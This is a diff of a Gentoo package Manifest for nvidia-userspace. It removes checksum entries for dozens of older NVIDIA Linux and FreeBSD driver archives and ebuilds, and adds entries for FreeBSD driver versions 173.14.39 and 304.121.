-DIST NVIDIA-FreeBSD-x86-295.40.tar.gz 32029253 SHA256 f47b603f39dfd2e405949aab6fbc7abd4b24f43c6fb47b4f23d7618f32021364
-DIST NVIDIA-FreeBSD-x86-295.49.tar.gz 32078716 SHA256 aa7c9a13931a55e358c542e1d18feb0aeaa7b18550e9675698b152265134d938
-DIST NVIDIA-FreeBSD-x86-295.53.tar.gz 32085530 SHA256 ecb637754ec31a0c058017e04b363abb831b96584ca9684b676a93ecb5af93ca
-DIST NVIDIA-FreeBSD-x86-295.59.tar.gz 32092806 SHA256 9a3e1794418add03ad97aad93608d1bc1f2f9c5a82e0321a2a8ba1c9db7d41dd
-DIST NVIDIA-FreeBSD-x86-302.17.tar.gz 32072917 SHA256 b0d50c3333ee7c485bfd5287b37e253ed358dd5d205997f0c50e16f04b7714c5
-DIST NVIDIA-FreeBSD-x86-304.22.tar.gz 32975645 SHA256 20a84c23339695fe73d9be977662b19572360d8d87b54aeca428f73e2510c1e5 SHA512 15788983073427a9729b61a37b684c37bafd57618bbacec40fe8f9bd0a3f6f30d417297dee5e3ca287f0b71c74bbe03163edef048f8ad38cf2493124820244dd WHIRLPOOL f823ce885ebcd8ab9af427487c8dfffe5cc7adc61e1c4af31371b808df449584df1f571310610e901bc83c4e52cb553d2a71d0ae5e3fadfadf56ce1a97447484
-DIST NVIDIA-FreeBSD-x86-304.37.tar.gz 33291575 SHA256 e6c3a1d4a757b5d4f2ab54a43d5d7008fcb1b481f14515f58adcd31f3edc6576
-DIST NVIDIA-FreeBSD-x86-304.88.tar.gz 33651825 SHA256 739325b26a93d934d015159c420ef1875a24ccd62a5bb482e688cf918d4fa33d SHA512 6dab929d2d2bacfc3a96ab24ff02996938613851e2b3c050ed3a1d0cca3751c574f12508e21119f2b43ff0421c3f88bf4edd51a37f3374c72c6337bcb8d6bcdb WHIRLPOOL b9be513a8dd8ce4cd6eeb23a24e725c751bb2cce0745477df2b4b84d7d03ad557d0b16bcdfb8d642168de09d59b057cb2955fca11f50b281ebad92f30a7dc4e1
-DIST NVIDIA-FreeBSD-x86-310.19.tar.gz 32264033 SHA256 29635a45e87fd240d472868dcd1ff9030f7eb85d78ffe85dea0f420be390d3e0 SHA512 77fd63c0c2cca5462c7e969e300f027dff9cb60f4234868f42317604d537a7bccb2631958f2a0cf74f46ee685d8f2a25f3dab2792be00a5c638d9756deb5a582 WHIRLPOOL bc896389ed9ad32e8e2e087476a3bafac9f828b8a1167c7b99cd58688d56d5454717dbe99b83fa1eca3111a80ffa9f721332364c8fdf95c02f4c5e05f989248f
-DIST NVIDIA-FreeBSD-x86-313.30.tar.gz 32591892 SHA256 1e02831fbaddf2f27808ea26352d835417f59bcf54ddb3e9c0f1d7b76dcb4666 SHA512 68cf61fabf707dfa1225011cab3749959ab29f09f611347eb9f9bd55065012d04382998e67091c4d3c1af9be21be6381aef9b6414448ee15f9a36d44448f5bf8 WHIRLPOOL 71ded70f45e880db2c2850c596cebafd004adf89f7131adaf324d1d38abbb5457a700bfa9e671bfa144515556f011df8a37fdf22b78b879f39007be6487f060a
-DIST NVIDIA-FreeBSD-x86-325.15.tar.gz 34164781 SHA256 745d8454833d1ad59f6480ac2d1ca744862e4e711e16deeebc0d04ff86925c4d SHA512 b1ce1041d7f3a926c3e62e398a618063e24675cdd919206c11e556f38d3b0078233ba31207d04e9d94e26bbf5eae4d43f8db457e7ac4fecfb8d407d2dbbf3040 WHIRLPOOL 9a37ecaa745ab9ff80755f01100610f85467fdfb55f5568dd358cb39302c0951edd91d518f1027bb0d43628e575ff9c1799ad956b9e673a31d38f7f3db125c63
-DIST NVIDIA-FreeBSD-x86-96.43.20.tar.gz 14060884 SHA256 e75fce272e72644d53e6ad3c0957fe173735a4b621726ce227ba8ecf9bd9c5cf
-DIST NVIDIA-FreeBSD-x86_64-304.37.tar.gz 34210803 SHA256 0d00046c8463954b6c8e13e245b2619758e947389161a113aa005ef7566e5dd3
-DIST NVIDIA-FreeBSD-x86_64-304.88.tar.gz 34597351 SHA256 be0e20a543fa14a8f91481dd64b080093b19edf951bf631c62365a64dadb1934 SHA512 143af863aef72962d83c6f77160512d0860a62964e92043400674b0be95735ae6f2dbdd25c42fa96b4511cece9c73b7072f829a88d46ab6b79aa750b65e64748 WHIRLPOOL 74b5014736065e178b261716e81f367395252efb3aa3b84faab6b6d26f561caa129e1d9bc0e02ce98f83dcaa3603fddd155de4b50e760bf2ea8df4c176b21e76
-DIST NVIDIA-FreeBSD-x86_64-310.19.tar.gz 33184883 SHA256 82607fdd14c666867b842205be3ec8b8095fb0c9da1cb2286b0bf85a769eb9ae SHA512 5f112a4dbb379977c9b1417536964d02498cb9d4a4ff3c35291dfaa5c90fcc8b2073ec75a1db9358c98686661d525db5e7e42036500281d09a1be608f9c2b851 WHIRLPOOL 3b629c57cc63319b18805fb67ebf75d07907a52b2c1d7cad12cca8837c29e6557c772c416d52d15f1e8f7b01b65b8a7728bd4cf5c0da890644e3151421fb901d
-DIST NVIDIA-FreeBSD-x86_64-313.30.tar.gz 33557658 SHA256 192ad1bb8a0cd649e12bcccf97c5f4d2002d6695126fea81586991d9e95248d3 SHA512 79b3b47bdcbc99f724f8c424733c11f1b2653103bbe0ba9849587628611d9da08ea434c786cc7d3d891bde3dfe4068298a7377ce5b1a3484fb64ef4d28c896da WHIRLPOOL 7307d6adb04b47b8403134e7394bf9af4f90839d1fb62aa3b7b7c6d8e367392829fb249dc8d444e66158fa5b5b15cf5b6c16e1f5659a22a15c17f55eda026660
-DIST NVIDIA-FreeBSD-x86_64-325.15.tar.gz 34590166 SHA256 92429119ca8e50baa06c6681ed2b9eb6c37cdf256a19ba4e1827be4b202a0569 SHA512 c9e4d41a5dcb02a280fb323fd4578bc7851d4242890f1d8e69a59e083a2a76cccdaba3ed55f8eb8f983e9c89326f0a9d7152bd7770230fbe45fc7b5865c486b6 WHIRLPOOL c54638af7fb6aaf63222ea75cc377e5e449dfaa80dd47a23aed2eec8da1c460c9e3c24627a2853287585a65b0f562e3efc7916fe985a4816d82aebc12bf7021b
-DIST NVIDIA-Linux-x86-173.14.31-pkg0.run 13407481 SHA256 e855a62f16a9d0eff1bf470a8fcedd48cd1b718e969ad5ebe89a557d039d1924 SHA512 bb58aa1ee84c71311a7b5cd3d87fa2827b6b41bb4645849611381ce7e255516da66fff9cc9a295a39ea185668d7f91fde0eaf56a18b04ae67ae468e1e509bc46 WHIRLPOOL d9a28dd96bf77051e6cf91a1b29c59fac716e14f3d3726867ecd9e43ac90d62d4ace0f0add7aff619f4933a8dc9e87734df3fcb5483db62bf99a77320d4e2f33
-DIST NVIDIA-Linux-x86-173.14.34-pkg0.run 14071464 SHA256 a873b7a28b1d83fcb7a97e4d5fcb471bb96bb5094bcd5e86c728ec22b49b258e
-DIST NVIDIA-Linux-x86-173.14.35-pkg0.run 14028887 SHA256 2d26100f7691047e424e1614deca0f1d862da5fa69e04e967f0c1dbb84ec729a
-DIST NVIDIA-Linux-x86-275.09.07.run 30930605 SHA256 27d1b2073c11bd56e423ed80bd22773f1f282c39ab3b76773144cfa680a1ff0c
-DIST NVIDIA-Linux-x86-280.13.run 32704856 SHA256 b222afe19c6310f1aa2a2574f27fa9e2b877738177daa60162bb5705758bac9b
-DIST NVIDIA-Linux-x86-285.05.09.run 33592492 SHA256 ce03fa99b62081b52bd5dae3594ac5942413ed530cda3d76a82f4ab0afd36f96
-DIST NVIDIA-Linux-x86-290.10.run 34691272 SHA256 99be8f53aa1f777445e5a4cac27acd7d85990db712b5c29caac865145fc5adaa
-DIST NVIDIA-Linux-x86-295.20.run 34641353 SHA256 0f9dc3d493053cffe37f72b6783edc6c14afd31532b43a7cf0bfce763cf2d500
-DIST NVIDIA-Linux-x86-295.33.run 34675369 SHA256 90a866c9c2f3904bc25b7a5829f8b40a419e60a79ad13c980b48d3bf89625a47
-DIST NVIDIA-Linux-x86-295.40.run 34668138 SHA256 ccd46574dd843a50327f50daa6f0b635ad7eca4a5b9a5fa963d0871bfa74ce2a
-DIST NVIDIA-Linux-x86-295.49.run 34716936 SHA256 f13b44725f4904ed3f5250d733b45b5815f54e8b588dfe6c6180918e80f35c6a
-DIST NVIDIA-Linux-x86-295.53.run 34718461 SHA256 0040096216ac6f8695743c9124a067787d30947f7c64f2734bac474f5af0b0a0
-DIST NVIDIA-Linux-x86-295.59.run 34730118 SHA256 084bbb76c57d5c2a5b780322a95dcc230ec6e25b4f6c176574a93621399ce5a0
-DIST NVIDIA-Linux-x86-302.17.run 34598956 SHA256 3525d3814361bd202998cea2962bb3d1bb3419206d02fd8ac30d61358c1a284f
-DIST NVIDIA-Linux-x86-304.22.run 35433519 SHA256 174be68a403f234cadd6dbac785459f7a7463989050fa4e6c92ed65b638ededb SHA512 885a0a8a7ecc387a9bbb806b2f36942d7bee2bdfdb784169490b72667db4218b76e19b4ebdecf107e1498f8e1d5544e3d44ae6b02cc6d6855431602e4afc3064 WHIRLPOOL ab691f2aded714b38afad1f6ff966dcb016cb409e4b78c37137aac439c06d2df112b74d72abf205526b65cae7d90a7e5f5081426d29e1cd310139511b77794c4
-DIST NVIDIA-Linux-x86-304.37.run 39349097 SHA256 ab3174a0c9ab37a8fc3f4a8fc1121d72fbdd5e00ddecf44f7dbd84bb8d51b337
-DIST NVIDIA-Linux-x86-304.88.run 39682604 SHA256 71e10294f073e31a387da4282b95cdde5fbfc996cb1c564f290eb0df1289b7cb SHA512 ba6f0236aead2f5161c94c7eaffb2497815ba1a7cbf872ae37d620d66533d4847acb6dfcc230e2b751aa9717ae552940ed6d3da1a9209aa54f6a810e3f551e49 WHIRLPOOL 9c2e0438630e86ca8c7aa2f26928113e5f15dcf808be8a4c2e937fd04b8d1aa7304bda714580834cc5ef4dc57304f41be62b55ee75545b9cfca3533b6db737e6
-DIST NVIDIA-Linux-x86-310.19.run 38581112 SHA256 85d082c06a1ea07f514d22c0de4d5d2af065bcac37c377c3d755904bbf780c2f SHA512 ef24e695b76b57cee1d13601c5856fe723da9da678e0f78739f0e291c5d00cea9e0da5b110f4125a79edd420127fed0a48883eaad591ed16e6660b139b7cb289 WHIRLPOOL 064bf26184b644210f565ad9b1b400abb26b9c8b61b519d2831ce04128fcc58c57e9474bb2ec5f3d935799857a1ca4c3273b68a36aca1d2285318f2679251f5e
-DIST NVIDIA-Linux-x86-313.30.run 38845860 SHA256 0a0f10979b1bca8e4a244e204b58aeb9a580924a9dd7b11b21d15abfe1ad49ad SHA512 c3b07e7186fcf5a1f3e73f4e9510dddff2a42c0202bc471a946e38e636af27b2d17206b7105a7a80179fc17ebceab6c2802ff6ddaabae9e16a930dfa1252a2db WHIRLPOOL 2d4402883a480ae3050af18f3fe1aec4110132aa4eda0ce9675f79471a526e8b90b9ebe6a0a5c76321474be6ace963520b903cf809835472649b095be757ec52
-DIST NVIDIA-Linux-x86-325.15.run 27409286 SHA256 3d790e4bfed24641f7cc76879144ab5d52b12271012ba381b0d33aa1a2e08775 SHA512 48052c3daa8748a7c43de1c24e00fdd3f94cebbe7f5efbb185a0472a1d0bbab8adfe377359ccdc6cd8e437a80506fdd551408237b0842c194a3497c43cf3487e WHIRLPOOL 387fb8af1a31cc295abe7b15fee7d5bc01c515603b178abe7f50864dbbf0685ca50f88e67359adc4af8e90caaeb1fba95aa6af9f54e6fced46c82c5cfc094390
-DIST NVIDIA-Linux-x86-96.43.20-pkg0.run 10323541 SHA256 bc778062cf745ee4916de77a702f702312d33eeb3b6f379b63e4366fa5197517
-DIST NVIDIA-Linux-x86_64-173.14.31-pkg2.run 18967067 SHA256 c56cfe43c4fa95102d099e4f1c4e75e58b57d73b4b36a858d54a2a339aad56d9 SHA512 fcb3f004495c8e3ef93b4229b2b64e8ee83a12f2cc5ba1c33bf486b6bf8687e1e1d5b45c2da8721422f6c2190150f7f86bd4b9ec0987d4440343fafb9e18c208 WHIRLPOOL 585728e3d03b1a9cf90fd80c413f2dd432870f49df60bd1335ec0c7143b59005819b4fd655587b0f76d19c28eaa946d6893c4358b8ec7e33000486429684cd1f
-DIST NVIDIA-Linux-x86_64-173.14.34-pkg2.run 19769116 SHA256 30dcdd3cfba4f7d2b5f4977faea573463700b44252e46fb43402e269183dec3e
-DIST NVIDIA-Linux-x86_64-173.14.35-pkg2.run 19767039 SHA256 5af64646b098021b550242fe8eb03817f862af0442023545d1295027f589595f
-DIST NVIDIA-Linux-x86_64-275.09.07.run 51646025 SHA256 747c09b0a0a8d60e1b5fee49fb1ea07ee5812f8e85a87b2403011af6de58164d
-DIST NVIDIA-Linux-x86_64-280.13.run 55011572 SHA256 98a08c7d943912a178a9bbe419db60634088e5262ae9053bf2fe730984e5a012
-DIST NVIDIA-Linux-x86_64-285.05.09.run 56674677 SHA256 7159a1f7e898b50dd49ea2273ac6facb870546ad5496bf70c6fbe1642d2c4970
-DIST NVIDIA-Linux-x86_64-290.10.run 58334192 SHA256 34a2ab07f4ae7afdeb2c8415f3f37c1099e6690eb25f3dbef92eca771f7ce4cd
-DIST NVIDIA-Linux-x86_64-295.20.run 58403208 SHA256 3b84fdeae335c047193f68a1da26f2a736461c35cfe94566fc7ace1e5762d34c
-DIST NVIDIA-Linux-x86_64-295.33.run 58435170 SHA256 4e939bac1ebc03c6439969d638540b99900b0fe4e4799b4186e5ff9521d37b73
-DIST NVIDIA-Linux-x86_64-295.40.run 58446405 SHA256 f6d5ae338b3b8ac6c512d06b335010934a62728f181a1fa5253aa84b7bf45e7a
-DIST NVIDIA-Linux-x86_64-295.49.run 58521195 SHA256 61dc9623ea1981f801d97de7c67c32b7e4f7ef4aaa6744910967cb634d9ace62
-DIST NVIDIA-Linux-x86_64-295.53.run 58522001 SHA256 4525e994a0d0a8cd776415401423e7de3985923637642955c3fe50a3d047d4ca
-DIST NVIDIA-Linux-x86_64-295.59.run 58529480 SHA256 4b1d96389abd2b804ad470c5189142a02ee4c82c1ac56cea37ecb45e8051313e
-DIST NVIDIA-Linux-x86_64-302.17.run 58653717 SHA256 5cf9059ebb70ade99e5621c0a605ed5bbb6c274f7c52a7ef40342ceb41b381fc
-DIST NVIDIA-Linux-x86_64-304.22.run 60141600 SHA256 4c1b6f7dcda007622bb5e243b858abdb3881d5d5befdc617b23393545d9c96fd SHA512 06dac9e042baa836b1f2d9cd360b2ca3545dcff4b382ed9d29e8e442ab5e9dc241b5f75250c3dce73e0e7958bccaa16ac48415ae5f2fc7cbc65689bd7a6e7640 WHIRLPOOL a7d1a1abe5cdedc743b43fa1627dc9094ab32cea3645cdd5cfd53a33929d0a48f4d3efaa7311ff6f0ba99d31a112e6872cb4cad3d1cafbd996646020d8dd7f40
-DIST NVIDIA-Linux-x86_64-304.37.run 64075318 SHA256 cae75158047d0b97ea48f269fd2903a6731f53b978a1065720343436c97ca9c2
-DIST NVIDIA-Linux-x86_64-304.88.run 68041437 SHA256 c1a73211566b085214b0ad1824733aa56d09c6139f729feebd0eff44f6113da3 SHA512 8a907f9ed307b1e4b5563a9aba9d6c1c036885cd64a4a229d6831eb7a855921971e652b7940333e366d5088f97cf3596fb739853b3c3cf94446ee0cea6164ab2 WHIRLPOOL 2e43479bb52d1dcbe1007cda779ab21ed064883769358a09bdd765e55f6b35a855a51006e070d33ddd2a3808802cdb4fa2ae63cc7cc189561934d00574492ca8
-DIST NVIDIA-Linux-x86_64-310.19.run 68022245 SHA256 3326cf9eb432a10fee5cb663132cd6c175813d0225750ef237dcc7feefd20fca SHA512 035a0cb62f4d307683ada7fff380fbe8a9433cee0ee6a8b1986e9d59b55a23484305903f84e77fb6a7440e06efce012feae1da658a304e790e2022c028541a69 WHIRLPOOL 523a9ca07d18cfa1afb1f4e527cecf1c4778650eaa81d1e627fd1c65b4ab459d02e5ce726d0190c57e677c6ef3c22afef8c6aaa99892731faf3415138e9e7635
-DIST NVIDIA-Linux-x86_64-313.30.run 68379307 SHA256 72317f2e4c459c33c764e3283deb3e1615b1852ead1f9bfad82148e120506022 SHA512 ae4439697e47eff98e06e5f77de979bdce096f95efa8bdee9c6fc939b42b5ce3b11c23d7691e974cf0f6f783eeb0fb694670636538352a0e8979f88d687f1f86 WHIRLPOOL c12a68fcc4d78f3856d87a86cef43c3632c0db1b6c5799b6482584d4d83a7cc863b9b394a501b96534175e11663c602d72f6ffa49f85461eaf4324dc61e654ff
-DIST NVIDIA-Linux-x86_64-325.15.run 48034648 SHA256 01446fbd94f6eb3b2e1b3d3f2b06970bf470c3ee2cb1838b3d0c2416e6c74500 SHA512 323cbd8e6f3ce29a1556b83b2fb3456f919964ede1cbee4ddaa3539ab75eda7abe26b96ba500462eed2ade4163b8de20d1db6ea987af923710f0e1a60e432e83 WHIRLPOOL 7c05717a2cfcb003a8c1f9fc5f5e24cfd5216aca7167ee8f29b60c43262fc61afab9619147ee07cb2541aa1d55b13a730b52c90979b7970df709fb659fe782ff
-DIST NVIDIA-Linux-x86_64-96.43.20-pkg2.run 14572507 SHA256 562107a262e250b836966e29851628f6162ee2857d53252221c780d9b201de18
-EBUILD nvidia-userspace-173.14.31.ebuild 12005 SHA256 833741ccdcd472cc91db8da97226dd9c51ee4afa825e788f6f2db811211fea02 SHA512 17bdea337e4c2ce3beac8ffbb9a80e064cb24a35a73816454ae1dffde3d09ae166f572c486c5bf861a4e690920562004d50eaf7d2e651d6b96589495072af5b8 WHIRLPOOL 6fa4e0f0c61f1ddb62768b994bb55d519b3e64d790cd29eb8b89e1d2d91785a030a0678074a3e0369abaa7dbb6463af5f992b3a47b6c11d3040ccab0b7619f1d
-EBUILD nvidia-userspace-173.14.34.ebuild 12005 SHA256 833741ccdcd472cc91db8da97226dd9c51ee4afa825e788f6f2db811211fea02 SHA512 17bdea337e4c2ce3beac8ffbb9a80e064cb24a35a73816454ae1dffde3d09ae166f572c486c5bf861a4e690920562004d50eaf7d2e651d6b96589495072af5b8 WHIRLPOOL 6fa4e0f0c61f1ddb62768b994bb55d519b3e64d790cd29eb8b89e1d2d91785a030a0678074a3e0369abaa7dbb6463af5f992b3a47b6c11d3040ccab0b7619f1d
-EBUILD nvidia-userspace-173.14.35.ebuild 12005 SHA256 833741ccdcd472cc91db8da97226dd9c51ee4afa825e788f6f2db811211fea02 SHA512 17bdea337e4c2ce3beac8ffbb9a80e064cb24a35a73816454ae1dffde3d09ae166f572c486c5bf861a4e690920562004d50eaf7d2e651d6b96589495072af5b8 WHIRLPOOL 6fa4e0f0c61f1ddb62768b994bb55d519b3e64d790cd29eb8b89e1d2d91785a030a0678074a3e0369abaa7dbb6463af5f992b3a47b6c11d3040ccab0b7619f1d
-EBUILD nvidia-userspace-275.09.07.ebuild 12387 SHA256 4f5982dd02fd6e76cf39691facb4b3a184ed863c1b4dc3670af07daf7e460ece SHA512 c836db66711a5b6259e02d9e1cd7ef6ccb67fd9b2b96f5f8688ebb9e94867f2dd278a7cad06ec43c6412f7b8ef1e04a4d01ec096efe8483af0e9f3f00fda6b61 WHIRLPOOL 613e80cb3b0969753291b44ef4a19e93aa0d5d4f148cbb3c1e316e2abab8a272b72ccbbbc5d89cf187ff3882d14a4c8e1c2081c334227c532ac7c9e09a3011f2
-EBUILD nvidia-userspace-280.13.ebuild 12387 SHA256 4f5982dd02fd6e76cf39691facb4b3a184ed863c1b4dc3670af07daf7e460ece SHA512 c836db66711a5b6259e02d9e1cd7ef6ccb67fd9b2b96f5f8688ebb9e94867f2dd278a7cad06ec43c6412f7b8ef1e04a4d01ec096efe8483af0e9f3f00fda6b61 WHIRLPOOL 613e80cb3b0969753291b44ef4a19e93aa0d5d4f148cbb3c1e316e2abab8a272b72ccbbbc5d89cf187ff3882d14a4c8e1c2081c334227c532ac7c9e09a3011f2
-EBUILD nvidia-userspace-285.05.09.ebuild 12387 SHA256 4f5982dd02fd6e76cf39691facb4b3a184ed863c1b4dc3670af07daf7e460ece SHA512 c836db66711a5b6259e02d9e1cd7ef6ccb67fd9b2b96f5f8688ebb9e94867f2dd278a7cad06ec43c6412f7b8ef1e04a4d01ec096efe8483af0e9f3f00fda6b61 WHIRLPOOL 613e80cb3b0969753291b44ef4a19e93aa0d5d4f148cbb3c1e316e2abab8a272b72ccbbbc5d89cf187ff3882d14a4c8e1c2081c334227c532ac7c9e09a3011f2
-EBUILD nvidia-userspace-290.10.ebuild 13317 SHA256 5e296159aefb2e9d847b93a4b28db035a887156167cd87741258e8fc9e246ea9 SHA512 d75cf9feb623afd772733ce749841aa472fb18e5e090482df0b8444645c9da59d0d7410787ffbcb670dae013d87a9d5744cf887a07a647cba4feedc53f83414e WHIRLPOOL 58ab3ecc1acb51d0bcb74165d13738a825aaaa059c962ea52e5f40a1f0d7591a747d3e0afeae4e0d6b42795d389c3e804cd8de93addc7250fc4544470a55b6f6
-EBUILD nvidia-userspace-295.20.ebuild 13317 SHA256 5e296159aefb2e9d847b93a4b28db035a887156167cd87741258e8fc9e246ea9 SHA512 d75cf9feb623afd772733ce749841aa472fb18e5e090482df0b8444645c9da59d0d7410787ffbcb670dae013d87a9d5744cf887a07a647cba4feedc53f83414e WHIRLPOOL 58ab3ecc1acb51d0bcb74165d13738a825aaaa059c962ea52e5f40a1f0d7591a747d3e0afeae4e0d6b42795d389c3e804cd8de93addc7250fc4544470a55b6f6
-EBUILD nvidia-userspace-295.33.ebuild 13821 SHA256 e3048a55ccf9cf7c8310b225885dbaae713b5fd51fa67059f372a347a1d90c35 SHA512 758f5f1a618c5baf98087175ff4c00bc63aa96955317dcfca40f8b25e66fd6a294809b203e6834fc9080f43f005f2728f1c4689bea0cdefab52d8c50cbf87547 WHIRLPOOL 8872b9c1779343196e0129310820d2d91bef47f06b1156149fbf52dacca83e0f3b048d19cbb4ed5af2b2487acd057fbf5b3bc6b3ceb5f1bafd4034301652d805
-EBUILD nvidia-userspace-295.40.ebuild 13975 SHA256 aebd97275f8ce491ca6e962d6e956982ae04ca803e9abbc4623b3f623f3b50f4 SHA512 fe0f3ebaff68517938d00e270f3bae0f5ab964933e0065e6226a93181b2e4dc2c06a9242c8788b6795c0e6cbfcd25b1cc7f8f8567243c8c2fadb6f61c952d383 WHIRLPOOL b31d65669984e41fb35747253fdfd6f23efee54fec07b9fdd58106d48fbed074e8a2be5381305f3aff14d01e5190c9d85472be91026876f50563cbb76ef65c69
-EBUILD nvidia-userspace-295.49.ebuild 13911 SHA256 a0d5b8a573e41a10b8201a6a4ecb854c6fca20107c28cdc298b59dd506ac28c9 SHA512 4ba775bcec98b8f4b9150bf3127884c422a8263918fc2c06983895622e70d9a603672cfdc29afe01d8c449b9c6ee49408066205194795bd59cd6e9493fc40f77 WHIRLPOOL d745cd7dce11da262472d0ba749002cd799241b4529b57ecdabf6f29ef13751e33b751fda2563e30b8f26d8cf3d040d36880af60171f1aacd5fbe7ab2098122e
-EBUILD nvidia-userspace-295.53.ebuild 13914 SHA256 cfbcdd6c3e928bf3d0f2ed4c501d491707d338c43d7080aed9dc781188a065c3 SHA512 d8bd0b9af6b44254448814ddc477c2cadffdc5e6a8b70b50ca65b203d97cf94910a50c6b39861550754b9ef1f4ea7edbf2fc0e466c04993459aecb5db631ea09 WHIRLPOOL d503f8302d652a715d2c52077629f9560fa3012694b1ae6410c815ea461f242d95dbafa2248224e15dc0d5353bc1afd5cb8f9540f19428332c184a10e1028a6b
-EBUILD nvidia-userspace-295.59.ebuild 13914 SHA256 cfbcdd6c3e928bf3d0f2ed4c501d491707d338c43d7080aed9dc781188a065c3 SHA512 d8bd0b9af6b44254448814ddc477c2cadffdc5e6a8b70b50ca65b203d97cf94910a50c6b39861550754b9ef1f4ea7edbf2fc0e466c04993459aecb5db631ea09 WHIRLPOOL d503f8302d652a715d2c52077629f9560fa3012694b1ae6410c815ea461f242d95dbafa2248224e15dc0d5353bc1afd5cb8f9540f19428332c184a10e1028a6b
-EBUILD nvidia-userspace-302.17.ebuild 13914 SHA256 cfbcdd6c3e928bf3d0f2ed4c501d491707d338c43d7080aed9dc781188a065c3 SHA512 d8bd0b9af6b44254448814ddc477c2cadffdc5e6a8b70b50ca65b203d97cf94910a50c6b39861550754b9ef1f4ea7edbf2fc0e466c04993459aecb5db631ea09 WHIRLPOOL d503f8302d652a715d2c52077629f9560fa3012694b1ae6410c815ea461f242d95dbafa2248224e15dc0d5353bc1afd5cb8f9540f19428332c184a10e1028a6b
-EBUILD nvidia-userspace-304.22.ebuild 13914 SHA256 cfbcdd6c3e928bf3d0f2ed4c501d491707d338c43d7080aed9dc781188a065c3 SHA512 d8bd0b9af6b44254448814ddc477c2cadffdc5e6a8b70b50ca65b203d97cf94910a50c6b39861550754b9ef1f4ea7edbf2fc0e466c04993459aecb5db631ea09 WHIRLPOOL d503f8302d652a715d2c52077629f9560fa3012694b1ae6410c815ea461f242d95dbafa2248224e15dc0d5353bc1afd5cb8f9540f19428332c184a10e1028a6b
-EBUILD nvidia-userspace-304.37.ebuild 11033 SHA256 c565684dab4d781f3359d8f318a96136121aeb9e41120018e750e7ee9e3686af SHA512 e9e624f8bbfbdb3d6d82dbcd5f5c159e928089336ac7fef8b9f65add102906898ffd1c75072d740afacad13a09bbb083b7c1d6b225589fffc35b96b2eb7d7557 WHIRLPOOL 52622805e659098dc498ca35410614233a49dda9b00bd573cc8ad04e3885121a3263023af89619ad53d09f6f97c07fde43bc1a0402ae1e91fa36e92c181da78c
-EBUILD nvidia-userspace-304.88.ebuild 10889 SHA256 3d9cfe556bd0ebdf02852cf35722ca20cf2d190aee5fc50ae96983969a7d4fae SHA512 88f12c3172891dce3c28e52c75a07009a8c82afc3ed90ca6102bde0f07d67539460ac47e0c4dff8965461c3d7ccbbab0df8e2ff1bde71fb71c29c0e4209f07ce WHIRLPOOL 10b6737f18948e097a36fddd24d2d524db4e107088f1087fb5f2fe40951381b2eedccd818c21d46364cc0d28881c8ff0de84bb7156d237e69809c694ee098979
-EBUILD nvidia-userspace-310.19.ebuild 11033 SHA256 c565684dab4d781f3359d8f318a96136121aeb9e41120018e750e7ee9e3686af SHA512 e9e624f8bbfbdb3d6d82dbcd5f5c159e928089336ac7fef8b9f65add102906898ffd1c75072d740afacad13a09bbb083b7c1d6b225589fffc35b96b2eb7d7557 WHIRLPOOL 52622805e659098dc498ca35410614233a49dda9b00bd573cc8ad04e3885121a3263023af89619ad53d09f6f97c07fde43bc1a0402ae1e91fa36e92c181da78c
-EBUILD nvidia-userspace-313.30.ebuild 10536 SHA256 9fd2bd062749c4664e40c535c3faeeccef873bdaaf2c00654c2e9be409f900e0 SHA512 20c97cfe5e65725227841e5114aeebd95c27724fe12534866ad3f5144a0ea95fab9ab366c3181004927754bf7b05053cfd01532593edb186210cf129ab3ee1bb WHIRLPOOL 50e8356b1d5ad963fc1ce1cb55ccc1ebca1c306745efddcf6c2be41f45e01446ae13bd174a217efa84aad9b2c40dbc207a420e13eec7a6dbf36bd0697ce23cee
-EBUILD nvidia-userspace-325.15.ebuild 10292 SHA256 4a36898b9a90f6ae417d0ca30f07f0f5d040053d6b8573710c3c2774bf299ffb SHA512 9b4107c282fefbe65f7d8681e1a31c3a8b6761586222a3fa5f278f50e02f1406a118318522d997fef876b0d7404b17aec664733f49338b37a47fd2ba9414abbe WHIRLPOOL 6ac6f63d94be18f745bdcd53735a9e11cd3a4a3bba291043667a892b15d37481c2d576dd6508d6a033c8ccc0a685e9c8f0fae60e0f2e32bf14b968e0f938ad9c
-EBUILD nvidia-userspace-96.43.20.ebuild 12041 SHA256 d4e32f4ad2a2500bc633c64ec5c31c2b02dfc6219b5a57e9dfb66e0e3ab4bf29 SHA512 05b98b39db9d27f31401d744ee2f986beb31a260317ac07503a1b1e5fc5abdd0762c75989d60d343c9d2f6afa76d224015f12fd0aaf40ffe4fcf5f36f8f67c8f WHIRLPOOL 55801e45401d10015a0fad112eafdd7aa7ebd99bdb3ccc31cf202e657788e2bddef09f7c635f62590deb060222cd0bcde24e622da65a3e986bfbe501582f3ea0
-MISC metadata.xml 340 SHA256 a8c83e426e095e92dc8d7553bde38172a3bb73717ec0469c78dba0a46f86194d SHA512 757fe60892996ee752008276a385ed2ba785837723beac28744e414d19e2312f956e300559519005ff3d465db2593e61804e6b7907e1faaf551d2633cf09c6aa WHIRLPOOL 483042f678dacfba03244f676d5b47035de23751c6cf306c87d0ff12856ca3dd8ce10bc826bdc90bcb1b9be8a673cc68fbe506998bac564f0a55d7bf64481fe8
+DIST NVIDIA-FreeBSD-x86-173.14.39.tar.gz 20038266 SHA256 63a922ce4c5b676b4cb1ace98094dace4cc5408f2553e183df7b2127777a238b SHA512 96982fe7e0751c52fbef534193de09d187b99c1984c05e791223eb804719d8b3ba72efd983f227661ded4b71569bdbb914f1f629ab73a8bc9b8172832ccf3ec6 WHIRLPOOL 21f5906f42adf0064c7a7f81ac8e323de488e6d36356ee42c31a15c31ebb64335d5e2cff0ff022d41de480f9e0a57b3b96387f17151c7b59eceba2c61a7a102b
+DIST NVIDIA-FreeBSD-x86-304.121.tar.gz 33977409 SHA256 980e613a5f969741f15ce8b87077c3b4343c72f2762613bf96237ba11d963ec0 SHA512 e031d7ce8f2db917a54792792901ce46d9a939bd818ed5167b5dabf58d102b54c687addfb083283db3091e54bdd71479dc4d87699be22abefe65662d93c4e49f WHIRLPOOL facc59cea0ff57819dafb9465b697d34b1f309ef7b4eae072b3af93ff64672845b747de57a77bb66fd62f224df4cad85b97efbd6ff79726ba51995abfe7f871a
